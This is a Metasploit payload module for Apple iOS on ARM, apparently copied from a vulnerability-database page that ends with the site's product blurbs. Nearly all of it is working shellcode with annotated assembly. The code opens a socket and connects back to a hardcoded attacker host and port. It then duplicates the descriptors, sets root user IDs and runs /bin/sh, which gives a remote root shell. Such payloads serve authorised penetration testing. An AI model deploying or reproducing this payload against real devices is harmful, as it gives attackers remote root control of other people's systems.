##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 152
include Msf::Payload::Single
include Msf::Payload::Osx
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Apple iOS Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'hdm',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LPORT' => [ 30, 'n' ],
'LHOST' => [ 32, 'ADDR' ],
},
'Payload' =>
[
# socket
0xe3a00002, # mov r0, #0x2
0xe3a01001, # mov r1, #0x1
0xe3a02006, # mov r2, #0x6
0xe3a0c061, # mov r12, #0x61
0xef000080, # swi 128
0xe1a0a000, # mov r10, r0
0xeb000001, # bl _konnect
# port 4444
0x5c110200,
# host 192.168.0.135
0x8700a8c0,
# connect
0xe1a0000a, # mov r0, r10
0xe1a0100e, # mov r1, lr
0xe3a02010, # mov r2, #0x10
0xe3a0c062, # mov r12, #0x62
0xef000080, # swi 128
# setup dup2
0xe3a05002, # mov r5, #0x2
# dup2
0xe3a0c05a, # mov r12, #0x5a
0xe1a0000a, # mov r0, r10
0xe1a01005, # mov r1, r5
0xef000080, # swi 128
0xe2455001, # sub r5, r5, #0x1
0xe3550000, # cmp r5, #0x0
0xaafffff8, # bge _dup2
# setreuid(0,0)
0xe3a00000, # mov r0, #0x0
0xe3a01000, # mov r1, #0x0
0xe3a0c07e, # mov r12, #0x7e
0xef000080, # swi 128
# execve
0xe0455005, # sub r5, r5, r5
0xe1a0600d, # mov r6, sp
0xe24dd020, # sub sp, sp, #0x20
0xe28f0014, # add r0, pc, #0x14
0xe4860000, # str r0, [r6], #0
0xe5865004, # str r5, [r6, #4]
0xe1a01006, # mov r1, r6
0xe3a02000, # mov r2, #0x0
0xe3a0c03b, # mov r12, #0x3b
0xef000080, # swi 128
# /bin/sh
0x6e69622f,
0x0068732f
].pack("V*")
}
))
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation